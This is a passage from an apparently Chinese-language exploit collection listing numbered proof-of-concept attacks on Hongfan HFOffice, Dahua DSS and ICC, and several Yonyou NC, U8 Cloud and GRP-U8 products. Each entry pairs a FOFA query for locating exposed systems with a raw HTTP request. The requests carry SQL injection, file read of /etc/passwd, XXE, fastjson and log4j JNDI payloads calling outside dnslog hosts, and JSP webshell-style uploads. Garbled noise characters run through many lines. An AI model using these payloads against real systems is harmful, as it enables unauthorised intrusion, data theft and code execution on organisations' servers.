+ P5 c8 A3 _  v1 P* m: D1 R2 NAccept-Encoding: gzip
  r$ J1 b0 l7 L* R

8 B2 S3 b7 C0 ?0 n6 f16.  红帆HFOffice医微云SQL注入
" b( m7 p* n# \/ I4 R. U/ OFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
6 T9 E3 X7 m6 H2 y2 m# Z- |  [Host: x.x.x.x
  v( X1 A/ w! M' E4 H* BUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
7 s0 A% q8 \( T: f- W) sAccept: */*
Accept-Language: en
" d! ^6 F4 g$ X( BAccept-Encoding: gzip
$ `1 V, r+ p; c' @% }' p1 f; d
+ q) t3 C5 i: i4 ~
9 ~' T" P3 ~9 B# O. T0 {) k17. 大华 DSS itcBulletin SQL 注入
- a- X1 O' o) b) D4 UFOFA：app="dahua-DSS"
) A6 J+ h& I' k+ f- u& MPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
( D1 ~/ Q$ Z1 e3 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

' e/ d: N) u! Z$ n" g* n& R, o<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
! U, A& s* ?& v4 Q( T+ q<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
- _" T/ W9 m# }) O, f    </ns1:deleteBulletin>
" g' {% q$ V  A' o  u% j# T7 @6 E  </s11:Body>
</s11:Envelope>
' V/ C' i' n# q4 v

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
% \2 M/ ^5 q7 H& G8 VFOFA：app="dahua-DSS"
2 N# v: k: t# E2 C  x* q' ]% Y: W$ LGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
9 W5 z. J6 T4 J7 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; A1 C) T4 p. C0 \Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



7 a! P9 G: j& N! P, x7 U4 i19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
- e' P1 a: W. x! S1 i2 D2 ^9 ?FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
0 T; i1 A8 d! x7 O/ M0 \Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ g6 ]4 D6 m6 T( h! a+ uAccept-Encoding: gzip, deflate
* r& L) o' e- D) M! RAccept: */*
& x0 N) G) e& I. T8 V8 SConnection: keep-alive
# n. N$ [' p# `, B( `' k. `
. _: p$ D! g" U" u, j
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. J6 e/ h1 _; g: T$ ?0 f. k$ KConnection: close
Accept: */*
0 i& B* r+ \. m, m' u# RAccept-Language: en
Accept-Encoding: gzip


6 F5 I) r0 `8 V$ z, s! _21. 大华ICC智能物联综合管理平台random远程代码执行
; l3 s& l4 o+ r1 c. {FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
/ [: e# }5 T3 q% h$ j6 u8 fHost: x.x.x.x
1 |0 c4 T# Z+ H6 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! t: t! z- e$ E* K* a2 v6 Y6 J& s& SContent-Length: 161
5 w/ n+ u% ^' e8 `5 r$ TAccept-Encoding: gzip
Connection: close
5 y4 P" B3 v: A# M2 O" FContent-Type: application/json;charset=utf-8

{
) p. {! P7 e' B, M* V"a":{
+ Z* c) D) u* w: s" Z# E/ ]   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
! G) J$ R7 Z# |8 v+ }" L5 T}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
" G* B6 H! k3 y/ }9 z7 k% \FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
; B$ W* o9 |, }
{
) K& O8 j& Q& q7 I+ {; f- z$ ~"loginName":"${jndi:ldap://dnslog}"
}
* i1 V# Y' W# R1 J6 A# G% K5 F


% y  a- b! Y* e6 p( k5 ^) Y4 i23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
  ?! ~% q; l7 p. S4 \, |  ]# E$ MFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
) A7 `" U+ H: x/ WHost: your-ip
; z6 W) N+ L! F- bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ O, x) u4 [* C# e; ]3 k0 u( `4 VContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
2 X! u# [' X+ ^) E2 z: AConnection: close
5 p, W8 X( `8 q" N
7 u- ^% `+ }3 R3 W- Q3 J  G& }  M9 E{
  r6 M# w* [, z1 Y    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
1 t/ l% w" r4 y+ E& E* i
1 {' s- Q( J9 W+ t# y
24. 用友NC 6.5 accept.jsp任意文件上传
/ U$ m3 A: Y$ B! N/ [) b% a1 S( UFOFA：icon_hash="1085941792"
: [, K- p' ]; w  i3 B% F" \6 hPOST /aim/equipmap/accept.jsp HTTP/1.1
$ V+ O2 S5 j) _: w4 a6 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
& o: I) @) ?( CContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
4 ~$ j$ t- Z  x* W  H9 o  C
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

6 s# g+ i. ?! ^. v& {<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
* F1 S/ \6 r1 z' ~& z. Q: W-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
4 u3 o" t9 w7 n- @7 V9 i/ _8 p! XContent-Disposition: form-data; name="fname"

# ?/ `, }! R) j3 J\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
. g: b% U3 c- J/ l-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

1 |9 \) n: X$ o" T* `2 [
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
9 `6 C! O+ Y% rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+ z& ~2 i8 c+ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
8 Z  U: k, m, G  R- S4 uAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog


6 V7 ]+ r: ?4 D5 G5 U
26. 用友NC linkVoucher SQL注入
' W- [+ C8 p" ?6 \. CFOFA：app="用友-UFIDA-NC"
* S* E( z7 H! t3 ^GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) ~9 w- c% C  \2 hContent-Type: application/x-www-form-urlencoded
- C- d  C& q/ ]" W; FAccept-Encoding: gzip, deflate
$ |0 g0 ~* d, n) \2 wAccept: */*
Connection: keep-alive
: M! h7 z" V0 C/ p$ D  T5 `& |
- J7 M- R. f2 \7 w* H  y
27. 用友 NC showcontent SQL注入
' R6 J2 [, T' sFOFA：icon_hash="1085941792"
# d7 m) b$ |7 h7 h3 uGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
; {4 C4 V/ J$ FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! y  [% n& x5 B1 j% h; r; N$ Y' qAccept-Encoding: identity
Connection: close
2 ], W2 s0 k% a0 X) M8 h& WContent-Type: text/xml; charset=utf-8
9 U3 ?) Z! ?/ G6 C4 p
1 q# b1 E3 b& O* `  A7 c. L! {. K
' u9 G2 J& R  K0 u4 T; T28. 用友NC grouptemplet 任意文件上传
: B+ c; f+ g# U2 KFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
" }, j9 l2 J3 cHost: x.x.x.x
3 @8 ^' c3 n1 h1 U& kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
5 h) H: \# l+ b* [& H! {- `( \Connection: close
: q! R* a; `% a) H5 O8 {; f' b# c$ J# cContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

& r/ y: C" @- `- B------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
* a. z6 q5 a3 i9 P$ zContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
( J8 K6 K4 j5 ?Content-Type: application/octet-stream
" k  ?% m1 p9 ~9 X5 f  D, k9 B/ a: M
" ]9 L2 E9 v; Y* D4 N<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
6 i7 z  f# k8 n+ ~( k------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
( o" y* G6 [3 p; r7 I8 c& W
4 O- n4 Z7 K( j8 ?& ?" z
/uapim/static/pages/nc/head.jsp
; p( x* V; c$ y6 u: i  ^0 K& u
# O5 U5 E  P' m29. 用友NC down/bill SQL注入
0 l# z$ x+ l, F- s, G, `. [- Z6 VFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, B- E# r3 k5 A" U( a; LGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
2 i; i2 p. n- C' a! z7 b2 CHost: your-ip
: `8 O4 [. d, r0 a$ Z$ ?1 e  M2 H' nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. n# i5 z  M) U' A; h3 qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

9 Y9 H' D) }# Q. G, [# t
30. 用友NC importPml SQL注入
% L5 V0 ]) ?6 o; TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
3 ?! k; \( T; iHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
% p2 ?$ r4 \$ r( YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
! |; h. P' }" F------WebKitFormBoundaryH970hbttBhoCyj9V--

/ W  G+ a! b; I0 x
, g  F8 {2 O. l0 v) B31. 用友NC runStateServlet SQL注入
version<=6.5
/ C7 Q4 u) `- V6 i7 S4 b. eFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' a# l9 T' L2 A- b* l! RGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
# u' V2 H  ^% W8 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# q* j4 c' b4 x4 }2 a
1 v" P: w) W0 n
% u9 W/ E5 B% Z% Y9 C! M6 l2 B32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
# O: ?. j2 ^# R3 o+ z8 V5 B0 o3 lFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 d, s  Q& ]! l+ j( S, u; FHost: your-ip
; P6 }" Y% P" X; b5 d7 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. U' l9 t7 n* _Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 G+ ^  a& I9 \, G% y9 I+ ~

33. 用友NC downTax/download SQL注入
- r+ L4 d4 @5 e8 J" P& y" H+ @version：NC6.5FOFA：app="用友-UFIDA-NC"
0 \2 \. T; E$ V7 G/ U3 d2 @GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" d( d7 a, u* m9 gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. {5 M; b4 M7 ~* a, DAccept: */*
Connection: keep-alive
7 O; P5 S( p, i  _
& r. s) T" x$ Q  g* c
% V  L& X, X4 K34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
& K' z( _8 t: y) u+ ^GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 R2 w9 }# C/ N1 ^0 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 I! n: Q* @; k3 g/ uAccept-Encoding: gzip, deflate
Accept: */*
/ w3 _7 ]9 f7 @: W4 ~( X1 tConnection: keep-alive
% t( d; ~3 [* J) C+ w8 R

35. 用友NC-Cloud importhttpscer任意文件上传
" s7 z6 P2 w; J  s- C2 pFOFA：app="用友-NC-Cloud"
% z. N! R2 o" s. Q: `: l( X+ kPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
& S0 x/ p; p" v0 PHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
. `  _. B+ k0 G4 m* N, F( @+ jAccept: */*
# X- n: a- x; [5 q, D6 R' b9 hConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
# R7 N' K% X& S9 S" X3 oContent-Length: 190
  B' k0 z1 ]$ RContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
; R; k6 h0 P* \7 v" A
--fd28cb44e829ed1c197ec3bc71748df0
. P( r0 D* f. ?0 M/ C* _2 d* eContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
: u% t6 _$ i( t--fd28cb44e829ed1c197ec3bc71748df0--
+ W8 m+ v" p! [- C

36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 J4 Z& ~7 w; j) VContent-Length: 263
6 p6 V! I! g& @/ j$ H4 _. Z0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 M, x$ W! Z' E% a  ]2 lConnection: close
1 g/ T$ y) r; V$ ?2 MContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
$ b- M; d1 G8 Y$ H* _7 E
, k; r+ B& q" S/ ^msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


- W8 A% Z3 |: Q$ L! r- N+ B9 O37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
. N  J5 I0 R9 h0 tContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ a% X2 n! u1 J4 R' b: S9 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; u* v0 }1 q+ _" e4 W/ sConnection: close
Content-Type: text/xml;charset=UTF-8
9 v: M- d0 E4 BSOAPAction: urn:getResult
3 F0 G  u: d- T) r3 V3 NUpgrade-Insecure-Requests: 1
( U  U" \# b3 ?/ v, R) Z1 t
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
0 ?/ d  X# ~2 u' S<soapenv:Body>
<iup:getResult>
<!--type: string-->
- B4 p4 Z3 ?  @8 u" I9 b* U6 F) Q+ F<iup:string><![CDATA[
3 E! i; S1 q) z4 i: [<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
/ G+ a  S2 Z4 V) @<xxx/>]]></iup:string>
# ?. e6 {0 ]0 ^( N</iup:getResult>
</soapenv:Body>
' k+ a" R/ p, ], n</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
0 \9 \8 N  s. Z4 Y; ]9 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
6 k/ J$ X0 P* hContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' b9 C: ?4 q8 B. KContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
8 w2 ]1 ]! ?/ ~% L  m
1 l! P7 [6 @+ p' R+ ?6 n+ Z3 A3 ?
( j) ~# S+ p- o$ d  s39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
5 _* M5 D$ O" ]. gHost: 192.168.86.128:8089
" M' i+ ], v* j3 d8 G8 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
$ v$ T0 ]* A4 W4 m; w% i& |Connection: close
& W: x* Y) v6 RContent-Length: 85
# y8 _. k. b& T; PAccept: */*
! W% Q) L" I4 Z5 l' T9 [Accept-Language: en
2 R+ A$ W- I6 R8 W, OContent-Type: application/x-www-form-urlencoded
" d) D7 P3 T; y. Y4 MX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

* s! _8 F6 E2 {& k" tusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

' {% `* j& m- u4 x+ c
40. 用友U8-Cloud XChangeServlet XXE
: `5 Y3 p6 Z5 f, A, aFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
( c5 W; u1 x& X) ]2 Z  Z" BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 _" ^- n; g/ T+ Y, wContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
$ S1 l% ]" u6 a1 f1 N9 a

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
0 Q5 r7 I; ~- k/ ]FOFA：app="用友-U8-Cloud"
9 T- s3 e& j1 W/ _7 D3 P$ NGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
- n# X, Z$ R0 B7 p! E- s: S! h( DAccept-Encoding: gzip
2 d) e8 }! r; fConnection: close


5 z4 R; U$ N9 c! O4 O* ]% P42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
- J0 ~5 P' m/ AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
# w. b( c1 t0 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

; M. `9 {2 S4 w4 P3 ~PAYLOAD
; x9 I% W# A- x0 J/ X# Q
6 q1 Q4 ?8 [0 L: B5 D
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
. P+ O! C& o, ?5 u+ PFOFA：app="用友-GRP-U8"
7 u% a- }* G7 [0 Y' P2 LPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
- W6 A, G- a3 P8 M2 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" G0 b% g% c5 q) S0 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' ?5 }" z! P- [* W" E, h* Z' TAccept-Encoding: gzip, deflate
" `6 e6 g' M$ u6 K& V- OAccept-Language: zh-CN,zh;q=0.9
3 ]& w8 n! ]! g( b% d% m, f+ bConnection: close
5 @) t6 V* Z! U0 ~; [SOAPAction:
+ I. b$ U5 y3 w( _. v( S2 L& k! q# YContent-Type: text/xml;charset=UTF-8
/ h! h, c. A# J' D6 i7 F* Y
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
) q% G6 _9 g' D/ f* h- R   <soapenv:Body>
2 D: O4 p0 z( `  f. {      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
$ }6 T. `* R$ l! t( t         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
) b" W+ I- P* p6 J9 ^      </ser:getUserNameById>
   </soapenv:Body>
9 s: D% U/ [. f% S: B7 L, ?: F</soapenv:Envelope>
2 g  l, ]0 l! f# Q

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
2 u" T# {6 y+ jGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
5 q) W& D& l8 f8 V* hHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  a4 r) G& L, YAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 a& y# S. e+ V2 r1 e

45. 用友GRP-U8 ufgovbank XXE
" f9 J; S$ q; }- d& Z, LFOFA：app="用友-GRP-U8"
% }- p6 y/ b1 {% I8 OPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
; n6 a( @# m* i0 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
! t) ~: W3 l& I2 N0 O/ k* xConnection: close
- u- g& w& S3 N& k% J, i( hContent-Length: 161
- X( ^+ [; A. _2 x# m' RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
& i, x: i/ _% o- n! f<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


2 P7 t7 u+ q+ P& _* A46. 用友GRP-U8 sqcxIndex.jsp SQL注入
& K# \" `9 }; o0 Y# Z0 RFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
4 |8 B, R& r# t/ e  y; @6 Z+ t1 e9 {Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
) o" X, [" x" j8 V/ x3 r' o! YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  M" ?- j% Z4 n1 k% [Accept-Encoding: gzip, deflate
+ R6 {: i% t, ~8 \/ e6 v1 s( @Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
